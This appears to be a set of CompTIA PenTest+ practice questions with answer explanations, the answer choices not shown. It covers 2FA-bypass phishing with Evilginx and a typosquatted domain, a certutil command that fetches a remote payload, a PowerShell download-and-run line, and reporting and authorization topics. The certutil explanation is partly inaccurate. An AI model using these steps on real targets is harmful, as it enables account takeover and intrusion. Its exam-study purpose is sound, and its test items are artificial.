A tester is performing an external phishing assessment on the top executives at a company. Two-factor authentication is enabled on the executives' accounts that are in the scope of work. Which of the following should the tester do to get access to these accounts?
Answer : A
To bypass two-factor authentication (2FA) and gain access to the executives' accounts, the tester should use Evilginx with a typosquatting domain. Evilginx is a man-in-the-middle attack framework used to bypass 2FA by capturing session tokens.
Phishing with Evilginx:
Evilginx is designed to proxy legitimate login pages, capturing credentials and 2FA tokens in the process.
It uses 'phishlets' which are configurations that simulate real login portals.
Typosquatting:
Typosquatting involves registering domains that are misspelled versions of legitimate domains (e.g., example.co instead of example.com).
This technique tricks users into visiting the malicious domain, thinking it's legitimate.
Steps:
Configure an External Domain: Register a typosquatting domain similar to the company's domain.
Set Up Evilginx: Install and configure Evilginx on a server. Use a phishlet that mimics the company's mail portal.
Send Phishing Emails: Craft phishing emails targeting the executives, directing them to the typosquatting domain.
Capture Credentials and 2FA Tokens: When executives log in, Evilginx captures their credentials and session tokens, effectively bypassing 2FA.
Pentest Reference:
Phishing: Social engineering technique to deceive users into providing sensitive information.
Two-Factor Authentication Bypass: Advanced phishing attacks like those using Evilginx can capture and reuse session tokens, bypassing 2FA mechanisms.
OSINT and Reconnaissance: Identifying key targets (executives) and crafting convincing phishing emails based on gathered information.
Using Evilginx with a typosquatting domain allows the tester to bypass 2FA and gain access to high-value accounts, demonstrating the effectiveness of advanced phishing techniques.
======
A penetration tester needs to identify all vulnerable input fields on a customer website. Which of the following tools would be best suited to complete this request?
Answer : A
Dynamic Application Security Testing (DAST):
DAST tools interact with the running application from the outside, simulating attacks to identify security vulnerabilities.
They are particularly effective in identifying issues like SQL injection, XSS, CSRF, and other vulnerabilities in web applications.
DAST tools do not require access to the source code, making them suitable for black-box testing.
Advantages of DAST:
Real-World Testing: DAST simulates real-world attacks by interacting with the application in the same way a user would.
Comprehensive Coverage: Can identify vulnerabilities in all parts of the web application, including input fields, forms, and user interactions.
Automated Scanning: Automates the process of testing and identifying vulnerabilities, providing detailed reports on discovered issues.
Examples of DAST Tools:
OWASP ZAP (Zed Attack Proxy): An open-source DAST tool widely used for web application security testing.
Burp Suite: A popular commercial DAST tool that provides comprehensive scanning and testing capabilities.
Pentest Reference:
Web Application Testing: Understanding the importance of testing web applications for security vulnerabilities and the role of different testing methodologies.
Security Testing Tools: Familiarity with various security testing tools and their applications in penetration testing.
DAST vs. SAST: Knowing the difference between DAST (dynamic testing) and SAST (static testing) and when to use each method.
By using a DAST tool, the penetration tester can effectively identify all vulnerable input fields on the customer website, ensuring a thorough assessment of the application's security.
======
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?
Answer : B
To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here's why:
Using certutil.exe:
Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.
Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.
Comparison with Other Commands:
powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.
powershell.exe -noni -encode IEX.Downloadstring('http://172.16.0.1/') (C): Incorrect syntax for downloading and executing a script.
rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.
Using certutil.exe to download and execute a payload is a common and effective method.
======
A penetration tester modifies a web application's URL by inserting malformed data into input parameters. The application returns the following error:
Internal Server Error
NumberFormatException: For input string
Source file: /home/www/htdocs/app001/.../main
Which of the following actions is the tester most likely performing?
Answer : A
The tester is submitting malformed input to a running web application and observing its response. This is dynamic application testing because the application is being evaluated during execution.
The NumberFormatException indicates that the application attempted to convert supplied input into a numeric value and failed. The verbose error also exposes internal implementation and filesystem information.
The error does not establish SQL injection, memory corruption, or log tampering. It primarily demonstrates improper input handling and excessive error disclosure.
Reference status: PT0-003-aligned dynamic-testing concepts involving malformed input, runtime errors, exception disclosure, and application behavior analysis.
===========
Which of the following best describes the importance of including the attack steps in a penetration test report?
Answer : B
The correct answer is B. It ensures results can be independently verified.
Including attack steps in a penetration test report is important because it gives the client a clear, repeatable path showing how the vulnerability was discovered, exploited, and validated. This allows technical teams, auditors, or another tester to independently confirm the finding and understand the evidence behind it.
A is incorrect because recommended mitigations are usually included in a separate remediation or recommendations section. Attack steps may support mitigation planning, but that is not their primary purpose.
C is incorrect because the report is not intended to prove the tester's competency. It is intended to communicate findings, evidence, impact, and remediation guidance.
D is incorrect because attack steps may help show complexity, but their main value is reproducibility and verification of results.
In PenTest+ terms, this falls under Reporting and Communication, specifically documentation quality, reproducibility, evidence support, and validation of penetration testing findings.
Which of the following is a reason to use a template when creating a penetration testing report?
Answer : D
A template ensures consistency across reports by defining the required sections (scope, methodology, findings, risk ratings, remediation, evidence, executive summary, and appendices). Standardization helps reviewers and clients quickly find required information, supports quality assurance, and ensures compliance with contractual/reporting requirements. While templates also help articulate risks and contextualize data (A and C) and may indirectly save time (E), their primary purpose is to standardize needed information so every engagement includes the same baseline content and structure.
CompTIA PT0-003 Mapping:
Domain 5.0 Reporting and Communication --- produce consistent, repeatable reports and use templates to ensure completeness and QA.
Which of the following authorizations is mandatory when a penetration tester is involved in a complex IT infrastructure?
Answer : A
Before any penetration testing begins --- especially in a complex IT infrastructure involving multiple systems, cloud environments, and potentially shared platforms --- a formal written authorization from the customer (client organization) is mandatory.
This authorization defines the scope, targets, timeframes, and limitations of the assessment and ensures legal protection for both the tester and the organization. Conducting testing without explicit client authorization could violate laws (e.g., Computer Fraud and Abuse Act in the U.S.) and corporate policies.
Why not the others:
B . Penetration tester authorization: The tester cannot authorize their own actions; authorization must come from the system owner.
C . Third-party authorization: Only relevant if the third party owns the infrastructure; otherwise, it's not mandatory.
D . Internal team authorization: Internal teams may coordinate logistics, but legal authorization must come from the customer/asset owner.
CompTIA PT0-003 Objective Mapping:
Domain 1.0: Planning and Scoping
1.2: Explain legal concepts, authorization requirements, and rules of engagement prior to testing.